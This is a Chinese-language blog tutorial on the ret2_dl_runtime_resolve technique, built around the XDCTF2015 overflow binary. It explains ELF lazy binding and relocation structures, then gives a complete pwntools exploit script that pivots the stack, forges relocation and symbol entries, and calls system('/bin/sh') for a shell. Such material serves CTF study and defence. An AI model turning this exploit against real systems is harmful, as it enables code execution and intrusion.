ret2_dl_runtime_resolve绕过NX和ASLR的限制

介绍

ret2_dl_runtime_resolve技术其实就是对重定位函数_dl_runtime_resolve(link_map_obj, reloc_index)运用rop技术

原理介绍

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

采用以上程序为例子进行介绍,首先编译程序

gcc -o bof -m32 -fno-stack-protector bof.c      

延迟绑定

ELF采用延迟绑定技术,也就是在第一次调用C库函数时才会去寻找真正的位置进行绑定。
以write为例子,我们看看具体过程

1
      .text:0804859A                 call    _write
2
      .plt:080483D0 ; ssize_t write(int fd, const void *buf, size_t n)
      .plt:080483D0 _write          proc near               ; CODE XREF: main+7B↓p
      .plt:080483D0
      .plt:080483D0 fd              = dword ptr  4
      .plt:080483D0 buf             = dword ptr  8
      .plt:080483D0 n               = dword ptr  0Ch
      .plt:080483D0
      .plt:080483D0                 jmp     ds:off_804A01C
      .plt:080483D0 _write          endp
      .plt:080483D0
3
      .got.plt:0804A01C off_804A01C dd offset loc_80483D6       ; DATA XREF: _write↑r
4
      .plt:080483D6 loc_80483D6:
      .plt:080483D6 push    20h
      .plt:080483DB jmp     sub_8048380
5
      .plt:08048380 ; __unwind {
      .plt:08048380 push    ds:dword_804A004
      .plt:08048386 jmp     ds:dword_804A008
      .plt:08048386 sub_8048380 endp

1.主函数中第一次调用write函数。
2.程序会跳转到write的got表对应的地址执行。
3.由于ELF采用动态延迟绑定技术,第一次调用函数时got表还未初始化为函数的地址,而是一个本地地址loc_80483D6。
4.本地地址loc_80483D6执行了两个命令,push 20h,0x20是write重定位信息在.rel.plt节处的偏移,jmp sub_8048380,sub_8048380是plt[0]的地址。
5.plt[0]执行两个指令,push ds:dword_804A004,dword_804A004是GOT[1],也就是链接器标识信息,jmp ds:dword_804A008,dword_804A008是GOT[2],即是动态链接器中的入口点,说白了就是_dl_runtime_resolve函数的地址。

_dl_runtime_resolve函数

_dl_runtime_resolve(link_map_obj, reloc_index)函数用于对动态链接的函数进行重定位的,通过以上分析我们可以知道两个参数的意义:

  • link_map_obj也就是GOT[1],是链接器的标识信息。
  • reloc_index是对应调用函数重定位信息在在.rel.plt节处的偏移,对于上述例子来说就是write重定位信息在.rel.plt节处的偏移。

.rel.plt

rel.plt是重定位节,包含了需要重定位的函数的信息,也就是保存了全局函数偏移表。
采用的结构如下:

typedef struct {
    Elf32_Addr        r_offset;
    Elf32_Word       r_info;
} Elf32_Rel;

typedef struct {
    Elf32_Addr     r_offset;
    Elf32_Word    r_info;
    Elf32_Sword    r_addend;
} Elf32_Rela;

字段说明如下:

成员 说明
r_offset 此成员给出了需要重定位的位置。对于一个可重定位文件而言,此值是从需要重定位的符号所在节区头部开始到将被重定位的位置之间的字节偏移。对于可执行文件或者共享目标文件而言,其取值是需要重定位的虚拟地址,一般而言,也就是说我们所说的 GOT 表的地址。
r_info 此成员给出需要重定位的符号的符号表索引,以及相应的重定位类型。 例如一个调用指令的重定位项将包含被调用函数的符号表索引。如果索引是 STN_UNDEF,那么重定位使用 0 作为 “符号值”。此外,重定位类型是和处理器相关的。
r_addend 此成员给出一个常量补齐,用来计算将被填充到可重定位字段的数值。
一般来说,32 位程序只使用 Elf32_Rel,64 位程序只使用 Elf32_Rela。
对应到上面的例子,我们可以看下
.rel.plt节:
LOAD:08048330 ; ELF JMPREL Relocation Table
LOAD:08048330                 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT setbuf
LOAD:08048338                 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT read
LOAD:08048340                 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT strlen
LOAD:08048348                 Elf32_Rel <804A018h, 507h> ; R_386_JMP_SLOT __libc_start_main
LOAD:08048350                 Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write

got表:
.got.plt:0804A01C off_804A01C     dd offset write         ; DATA XREF: _write↑r

.dynsym节:
LOAD:080481D8 ; ELF Symbol Table
LOAD:080481D8                 Elf32_Sym <0>
LOAD:080481E8                 Elf32_Sym <offset aSetbuf - offset byte_8048278, 0, 0, 12h, 0, 0> ; "setbuf"
LOAD:080481F8                 Elf32_Sym <offset aRead - offset byte_8048278, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048208                 Elf32_Sym <offset aGmonStart - offset byte_8048278, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048218                 Elf32_Sym <offset aStrlen - offset byte_8048278, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:08048228                 Elf32_Sym <offset aLibcStartMain - offset byte_8048278, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048228                            0>
LOAD:08048238                 Elf32_Sym <offset aWrite - offset byte_8048278, 0, 0, 12h, 0, 0> ; "write"
LOAD:08048248                 Elf32_Sym <offset aStdout - offset byte_8048278, \ ; "stdout"
LOAD:08048248                            offset stdout@@GLIBC_2_0, 4, 11h, 0, 1Ah>
LOAD:08048258                 Elf32_Sym <offset aIoStdinUsed - offset byte_8048278, \ ; "_IO_stdin_used"
LOAD:08048258                            offset _IO_stdin_used, 4, 11h, 0, 10h>
LOAD:08048268                 Elf32_Sym <offset aStdin - offset byte_8048278, \ ; "stdin"
LOAD:08048268                            offset stdin@@GLIBC_2_0, 4, 11h, 0, 1Ah>

对于write函数来说,它的r_offset对应got表的地址,哪r_info=0x607是什么意思呢?

ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8
ELF32_R_SYM(0x607) = 6

这里算出来的6是什么意思呢?动态符号表(后面会介绍)其实就是一个数组,我们发现write就是处于数组Elf32_Sym[6]位置。也就是说,Elf32_Sym[num],num对应的是ELF32_R_SYM(Elf32_Rel->r_info)。
哪还剩个07又是什么意思呢?这里我们不用管它,我们在伪造时也伪造成07即可,用于绕过判断。

.dynsym

动态链接的ELF文件具有专门的动态符号表,其使用的结构就是Elf32_Sym,但是其存储的节为.dynsym。动态符号表的实质就是一个结构体数组。
Elf32_Sym的结构

typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

这里我们主要需要关注第一个参数st_name,它的意义是该动态符号在.dynstr表(动态字符串表,后面介绍)中的偏移。
在上面中的例子就是:

LOAD:080481D8 ; ELF Symbol Table
LOAD:080481D8                 Elf32_Sym <0>
LOAD:080481E8                 Elf32_Sym <offset aSetbuf - offset byte_8048278, 0, 0, 12h, 0, 0> ; "setbuf"
LOAD:080481F8                 Elf32_Sym <offset aRead - offset byte_8048278, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048208                 Elf32_Sym <offset aGmonStart - offset byte_8048278, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048218                 Elf32_Sym <offset aStrlen - offset byte_8048278, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:08048228                 Elf32_Sym <offset aLibcStartMain - offset byte_8048278, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048228                            0>
LOAD:08048238                 Elf32_Sym <offset aWrite - offset byte_8048278, 0, 0, 12h, 0, 0> ; "write"
LOAD:08048248                 Elf32_Sym <offset aStdout - offset byte_8048278, \ ; "stdout"
LOAD:08048248                            offset stdout@@GLIBC_2_0, 4, 11h, 0, 1Ah>
LOAD:08048258                 Elf32_Sym <offset aIoStdinUsed - offset byte_8048278, \ ; "_IO_stdin_used"
LOAD:08048258                            offset _IO_stdin_used, 4, 11h, 0, 10h>
LOAD:08048268                 Elf32_Sym <offset aStdin - offset byte_8048278, \ ; "stdin"
LOAD:08048268                            offset stdin@@GLIBC_2_0, 4, 11h, 0, 1Ah>

LOAD:08048278 ; ELF String Table
LOAD:08048278 byte_8048278    db 0                    ; DATA XREF: LOAD:080481E8↑o
LOAD:08048278                                         ; LOAD:080481F8↑o ...
LOAD:08048279 aLibcSo6        db 'libc.so.6',0
LOAD:08048283 aIoStdinUsed    db '_IO_stdin_used',0   ; DATA XREF: LOAD:08048258↑o
LOAD:08048292 aStdin          db 'stdin',0            ; DATA XREF: LOAD:08048268↑o
LOAD:08048298 aStrlen         db 'strlen',0           ; DATA XREF: LOAD:08048218↑o
LOAD:0804829F aRead           db 'read',0             ; DATA XREF: LOAD:080481F8↑o
LOAD:080482A4 aStdout         db 'stdout',0           ; DATA XREF: LOAD:08048248↑o
LOAD:080482AB aSetbuf         db 'setbuf',0           ; DATA XREF: LOAD:080481E8↑o
LOAD:080482B2 aLibcStartMain  db '__libc_start_main',0
LOAD:080482B2                                         ; DATA XREF: LOAD:08048228↑o
LOAD:080482C4 aWrite          db 'write',0            ; DATA XREF: LOAD:08048238↑o
LOAD:080482CA aGmonStart      db '__gmon_start__',0   ; DATA XREF: LOAD:08048208↑o
LOAD:080482D9 aGlibc20        db 'GLIBC_2.0',0

可以看到Elf32_Sym[6]存的是write符号的有关信息,它的st_name取值为offset aWrite - offset byte_8048278,而offset aWrite为write在动态字符串表中的地址,offset byte_8048278为动态字符串表的起始地址。
很明显,st_name就是write在动态字符串表中的偏移。

.dynstr

.dynstr节包含了动态链接的字符串

完整过程

我们之前说到了jmp ds:dword_804A008执行_dl_runtime_resolve函数,具体是怎么实现呢?

gdb-peda$ x /xw 0x0804A008
0x804a008:	0xf7fee000
gdb-peda$ x /11i 0xf7fee000
   0xf7fee000 <_dl_runtime_resolve>:	push   eax
   0xf7fee001 <_dl_runtime_resolve+1>:	push   ecx
   0xf7fee002 <_dl_runtime_resolve+2>:	push   edx
   0xf7fee003 <_dl_runtime_resolve+3>:	mov    edx,DWORD PTR [esp+0x10]
   0xf7fee007 <_dl_runtime_resolve+7>:	mov    eax,DWORD PTR [esp+0xc]
   0xf7fee00b <_dl_runtime_resolve+11>:	call   0xf7fe77e0 <_dl_fixup>
   0xf7fee010 <_dl_runtime_resolve+16>:	pop    edx
   0xf7fee011 <_dl_runtime_resolve+17>:	mov    ecx,DWORD PTR [esp]
   0xf7fee014 <_dl_runtime_resolve+20>:	mov    DWORD PTR [esp],eax
   0xf7fee017 <_dl_runtime_resolve+23>:	mov    eax,DWORD PTR [esp+0x4]
   0xf7fee01b <_dl_runtime_resolve+27>:	ret    0xc

可以看到实质是调用_dl_fixup函数。

_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

以write为例
1.首先程序根据write在.rel.plt中的重定位信息计算出重定位入口。
2.然后通过(Elf32_Rel->r_info)>>8找到write在.dynsym中对应的条目。
3.这里会检查Elf32_Rel->r_info最低位是不是为7,这也是之前说的为什么r_info后面两位置07就可以。
4.接着通过Elf32_Sym->st_name找到动态字符串表中的write。
5.最后将value赋予write的实际地址,并写入got表

然后函数会调用write。
此外,在下次调用write时,jmp ds:off_804A01C就直接跳到了write的实际地址执行。

具体运用

让我们看看如何利用以上机制来绕过NX和ASLR。例子依旧是上面的程序。
这里直接给出脚本,在重要的地方会给出注释。

#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
elf = ELF('bof')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380 #plt[0]的地址,也就是上面的sub_8048380
rel_plt = 0x08048330 #.rel.plt节的地址
index_offset = (base_stage + 28) - rel_plt #函数在.rel.plt的偏移,对应上面的reloc_index
write_got = elf.got['write']
dynsym = 0x080481d8 #.dynsym节的地址
dynstr = 0x08048278 #.dynstr节的地址
fake_sym_addr = base_stage + 36 #伪造的Elf32_Sym
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7 
fake_reloc = p32(write_got) + p32(r_info) #伪造的Elf32_Rel
st_name = (fake_sym_addr + 0x10) - dynstr #符号相对动态字符串表的偏移
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA' #接上一个payload的leave->pop ebp ; ret
payload2 += p32(plt_0) #这里调用plt_0,并给上index_offset
payload2 += p32(index_offset)
payload2 += 'AAAA'  #返回地址      
payload2 += p32(base_stage + 80) #函数第一个参数
payload2 += 'aaaa' #第二个参数
payload2 += 'aaaa' #第三个参数
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00' #'/bin/sh\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

我们按上面的流程走一遍。
1.脚本首先进行了栈迁移,将栈迁移到bss段后。
2.通过rop技术,让函数执行plt[0]同时这里给上index参数的值,Elf32_Rel是我们伪造在栈上的,它相对于.rel.plt的偏移就是(base_stage + 28) - rel_plt(栈上伪造的Elf32_Rel地址减去.rel.plt节的首地址),这样_dl_runtime_resolve函数会根据我们伪造的Elf32_Rel来解析符号。
3.然后根据r_info计算出函数在.dynsym中对应的条目。
4.接着通过Elf32_Sym->st_name来获得字符串,我们也构造了一个fake的Elf32_Sym在栈上,而Elf32_Sym->st_name地址我们赋予的符号是'system\x00'。
5.这样真正解析的符号是system,而且解析完成后也会运行一次,我们在栈上布置好"/bin/sh\x00"参数,程序变执行system('/bin/sh\x00')拿shell。

到这,我们就可以明白此攻击成功的必要条件
1.dl_resolve 函数不会检查对应的符号是否越界,它只会根据我们所给定的数据来执行。
这给予了我们在整个程序中任选一处内存空间伪造各种数据结构的可能,只要将偏移算好就没有问题。
2.dl_resolve 函数最后的解析根本上依赖于所给定的字符串。
也就是所我们只要算好偏移,在对应的内存中布置好数据,只要保证最后解析的字符串是system或者execve这种函数,就可以成功。

内容来源

Return-to-dl-resolve
CTF Wiki ELF File Basic Structure

posted @ 2020-08-06 16:49  PwnKi  阅读(423)  评论(0编辑  收藏  举报